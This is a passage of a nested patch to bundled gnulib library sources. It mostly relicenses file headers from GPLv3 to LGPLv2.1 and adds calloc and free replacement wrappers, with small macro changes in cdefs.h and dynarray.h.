++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/c++defs.h
++++ b/gnulib/lib/c++defs.h
+@@ -2,16 +2,16 @@
+ Copyright (C) 2010-2021 Free Software Foundation, Inc.
+
+ This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
++ under the terms of the GNU Lesser General Public License as published
++ by the Free Software Foundation; either version 2 of the License, or
+ (at your option) any later version.
+
+ This program is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GL_CXXDEFS_H
+--- /dev/null
++++ b/gnulib/lib/calloc.c
+@@ -0,0 +1,55 @@
++/* calloc() function that is glibc compatible.
++ This wrapper function is required at least on Tru64 UNIX 5.1 and mingw.
++ Copyright (C) 2004-2007, 2009-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Jim Meyering and Bruno Haible */
++
++#include <config.h>
++
++/* Specification. */
++#include <stdlib.h>
++
++#include <errno.h>
++
++#include "xalloc-oversized.h"
++
++/* Call the system's calloc below. */
++#undef calloc
++
++/* Allocate and zero-fill an NxS-byte block of memory from the heap,
++ even if N or S is zero. */
++
++void *
++rpl_calloc (size_t n, size_t s)
++{
++ if (n == 0 || s == 0)
++ n = s = 1;
++
++ if (xalloc_oversized (n, s))
++ {
++ errno = ENOMEM;
++ return NULL;
++ }
++
++ void *result = calloc (n, s);
++
++#if !HAVE_MALLOC_POSIX
++ if (result == NULL)
++ errno = ENOMEM;
++#endif
++
++ return result;
++}
+--- a/gnulib/lib/cdefs.h
++++ b/gnulib/lib/cdefs.h
+@@ -2,16 +2,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+@@ -259,10 +259,12 @@
+ # define __attribute_const__ /* Ignore */
+ #endif
+
+-#if defined __STDC_VERSION__ && 201710L < __STDC_VERSION__
+-# define __attribute_maybe_unused__ [[__maybe_unused__]]
+-#elif __GNUC_PREREQ (2,7) || __glibc_has_attribute (__unused__)
++#if __GNUC_PREREQ (2,7) || __glibc_has_attribute (__unused__)
+ # define __attribute_maybe_unused__ __attribute__ ((__unused__))
++/* Once the next version of the C standard comes out, we can
++ do something like the following here:
++ #elif defined __STDC_VERSION__ && 202???L <= __STDC_VERSION__
++ # define __attribute_maybe_unused__ [[__maybe_unused__]] */
+ #else
+ # define __attribute_maybe_unused__ /* Ignore */
+ #endif
+@@ -320,7 +322,9 @@
+ #endif
+
+ /* The nonnull function attribute marks pointer parameters that
+- must not be NULL. */
++ must not be NULL. This has the name __nonnull in glibc,
++ and __attribute_nonnull__ in files shared with Gnulib to avoid
++ collision with a different __nonnull in DragonFlyBSD 5.9. */
+ #ifndef __attribute_nonnull__
+ # if __GNUC_PREREQ (3,3) || __glibc_has_attribute (__nonnull__)
+ # define __attribute_nonnull__(params) __attribute__ ((__nonnull__ params))
+@@ -485,9 +489,9 @@
+ [!!sizeof (struct { int __error_if_negative: (expr) ? 2 : -1; })]
+ #endif
+
+-/* The #ifndef lets Gnulib avoid including these on non-glibc
+- platforms, where the includes typically do not exist. */
+-#ifndef __WORDSIZE
++/* Gnulib avoids including these, as they don't work on non-glibc or
++ older glibc platforms. */
++#ifndef __GNULIB_CDEFS
+ # include <bits/wordsize.h>
+ # include <bits/long-double.h>
+ #endif
+--- a/gnulib/lib/cloexec.c
++++ b/gnulib/lib/cloexec.c
+@@ -2,20 +2,20 @@
+
+ Copyright (C) 1991, 2004-2006, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program. If not, see <https://www.gnu.org/licenses/>.
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+- The code is taken from glibc/manual/llio.texi */
++/* The code is taken from glibc/manual/llio.texi */
+
+ #include <config.h>
+
+--- a/gnulib/lib/cloexec.h
++++ b/gnulib/lib/cloexec.h
+@@ -2,20 +2,18 @@
+
+ Copyright (C) 2004, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program. If not, see <https://www.gnu.org/licenses/>.
+-
+-*/
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <stdbool.h>
+
+--- a/gnulib/lib/close.c
++++ b/gnulib/lib/close.c
+@@ -1,17 +1,17 @@
+ /* close replacement.
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/dup2.c
++++ b/gnulib/lib/dup2.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 1999, 2004-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* written by Paul Eggert */
+--- a/gnulib/lib/dynarray.h
++++ b/gnulib/lib/dynarray.h
+@@ -1,17 +1,17 @@
+ /* Type-safe arrays which grow dynamically.
+ Copyright 2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Paul Eggert and Bruno Haible, 2021. */
+@@ -257,18 +257,22 @@ static DYNARRAY_ELEMENT *
+
+ #if defined DYNARRAY_STRUCT || defined DYNARRAY_ELEMENT || defined DYNARRAY_PREFIX
+
+-# include <libc-config.h>
++# ifndef _GL_LIKELY
++/* Rely on __builtin_expect, as provided by the module 'builtin-expect'. */
++# define _GL_LIKELY(cond) __builtin_expect ((cond), 1)
++# define _GL_UNLIKELY(cond) __builtin_expect ((cond), 0)
++# endif
+
+ /* Define auxiliary structs and declare auxiliary functions, common to all
+ instantiations of dynarray. */
+-# include <malloc/dynarray.h>
++# include <malloc/dynarray.gl.h>
+
+ /* Define the instantiation, specified through
+ DYNARRAY_STRUCT
+ DYNARRAY_ELEMENT
+ DYNARRAY_PREFIX
+ etc. */
+-# include <malloc/dynarray-skeleton.c>
++# include <malloc/dynarray-skeleton.gl.h>
+
+ #else
+
+--- a/gnulib/lib/errno.in.h
++++ b/gnulib/lib/errno.in.h
+@@ -2,18 +2,18 @@
+
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_ERRNO_H
+
+--- a/gnulib/lib/error.c
++++ b/gnulib/lib/error.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 1990-1998, 2000-2007, 2009-2021 Free Software Foundation, Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by David MacKenzie <djm@gnu.ai.mit.edu>. */
+--- a/gnulib/lib/error.h
++++ b/gnulib/lib/error.h
+@@ -3,17 +3,17 @@
+ Inc.
+ This file is part of the GNU C Library.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _ERROR_H
+--- a/gnulib/lib/exitfail.c
++++ b/gnulib/lib/exitfail.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2002-2003, 2005-2007, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/exitfail.h
++++ b/gnulib/lib/exitfail.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2002, 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ extern int volatile exit_failure;
+--- a/gnulib/lib/fcntl.c
++++ b/gnulib/lib/fcntl.c
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* Written by Eric Blake <ebb9@byu.net>. */
+--- a/gnulib/lib/fcntl.in.h
++++ b/gnulib/lib/fcntl.in.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2006-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* written by Paul Eggert */
+--- a/gnulib/lib/fd-hook.c
++++ b/gnulib/lib/fd-hook.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2009.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/fd-hook.h
++++ b/gnulib/lib/fd-hook.h
+@@ -1,17 +1,17 @@
+ /* Hook for making file descriptor functions close(), ioctl() extensible.
+ Copyright (C) 2009-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as published
+- by the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+
+--- a/gnulib/lib/filename.h
++++ b/gnulib/lib/filename.h
+@@ -3,16 +3,16 @@
+ This file is part of the GNU C Library.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/float+.h
++++ b/gnulib/lib/float+.h
+@@ -2,18 +2,18 @@
+ Copyright (C) 2007, 2009-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2007.
+
+- This program is free software; you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3, or (at your option)
+- any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
+- along with this program; if not, see <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _FLOATPLUS_H
+ #define _FLOATPLUS_H
+--- a/gnulib/lib/float.c
++++ b/gnulib/lib/float.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2011.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/float.in.h
++++ b/gnulib/lib/float.in.h
+@@ -2,17 +2,17 @@
+
+ Copyright (C) 2007-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _@GUARD_PREFIX@_FLOAT_H
+--- /dev/null
++++ b/gnulib/lib/free.c
+@@ -0,0 +1,53 @@
++/* Make free() preserve errno.
++
++ Copyright (C) 2003, 2006, 2009-2021 Free Software Foundation, Inc.
++
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
++
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
++
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
++
++/* written by Paul Eggert */
++
++#include <config.h>
++
++/* Specification. */
++#include <stdlib.h>
++
++/* A function definition is only needed if HAVE_FREE_POSIX is not defined. */
++#if !HAVE_FREE_POSIX
++
++# include <errno.h>
++
++void
++rpl_free (void *p)
++# undef free
++{
++# if defined __GNUC__ && !defined __clang__
++ /* An invalid GCC optimization
++ <https://gcc.gnu.org/bugzilla/show_bug.cgi?id=98396>
++ would optimize away the assignments in the code below, when link-time
++ optimization (LTO) is enabled. Make the code more complicated, so that
++ GCC does not grok how to optimize it. */
++ int err[2];
++ err[0] = errno;
++ err[1] = errno;
++ errno = 0;
++ free (p);
++ errno = err[errno == 0];
++# else
++ int err = errno;
++ free (p);
++ errno = err;
++# endif
++}
++
++#endif
+--- a/gnulib/lib/fstat.c
++++ b/gnulib/lib/fstat.c
+@@ -1,17 +1,17 @@
+ /* fstat() replacement.
+ Copyright (C) 2011-2021 Free Software Foundation, Inc.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ /* If the user's config.h happens to include <sys/stat.h>, let it include only
+--- a/gnulib/lib/getdtablesize.c
++++ b/gnulib/lib/getdtablesize.c
+@@ -2,17 +2,17 @@
+ Copyright (C) 2008-2021 Free Software Foundation, Inc.
+ Written by Bruno Haible <bruno@clisp.org>, 2008.
+
+- This program is free software: you can redistribute it and/or modify
+- it under the terms of the GNU General Public License as published by
+- the Free Software Foundation; either version 3 of the License, or
+- (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This program is distributed in the hope that it will be useful,
++ This file is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+- GNU General Public License for more details.
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public License
++ You should have received a copy of the GNU Lesser General Public License
+ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #include <config.h>
+--- a/gnulib/lib/getopt-cdefs.in.h
++++ b/gnulib/lib/getopt-cdefs.in.h
+@@ -4,19 +4,18 @@
+ Unlike most of the getopt implementation, it is NOT shared
+ with the GNU C Library.
+
+- This file is free software; you can redistribute it and/or modify it
+- under the terms of the GNU General Public License as
+- published by the Free Software Foundation; either version 3 of
+- the License, or (at your option) any later version.
++ This file is free software: you can redistribute it and/or modify
++ it under the terms of the GNU Lesser General Public License as
++ published by the Free Software Foundation; either version 2.1 of the
++ License, or (at your option) any later version.
+
+- This file is distributed in the hope that it will be useful, but
+- WITHOUT ANY WARRANTY; without even the implied warranty of
+- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ This file is distributed in the hope that it will be useful,
++ but WITHOUT ANY WARRANTY; without even the implied warranty of
++ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
++ GNU Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
+- License along with gnulib; if not, see
+- <https://www.gnu.org/licenses/>. */
++ You should have received a copy of the GNU Lesser General Public License
++ along with this program. If not, see <https://www.gnu.org/licenses/>. */
+
+ #ifndef _GETOPT_CDEFS_H
+ #define _GETOPT_CDEFS_H 1
+--- a/gnulib/lib/getopt-core.h
++++ b/gnulib/lib/getopt-core.h
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
+ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+- General Public License for more details.
++ Lesser General Public License for more details.
+
+- You should have received a copy of the GNU General Public
++ You should have received a copy of the GNU Lesser General Public
+ License along with the GNU C Library; if not, see
+ <https://www.gnu.org/licenses/>. */
+
+--- a/gnulib/lib/getopt-ext.h
++++ b/gnulib/lib/getopt-ext.h
+@@ -4,16 +4,16 @@
+ Patches to this file should be submitted to both projects.
+
+ The GNU C Library is free software; you can redistribute it and/or
+- modify it under the terms of the GNU General Public
++ modify it under the terms of the GNU Lesser General Public
+ License as published by the Free Software Foundation; either
+- version 3 of the License, or (at your option) any later version.
++ version 2.1 of the License, or (at your option) any later version.
+
+ The GNU C Library is distributed in the hope that it will be useful,
+ but WITHOUT ANY WARRANTY; without even the implied warranty of
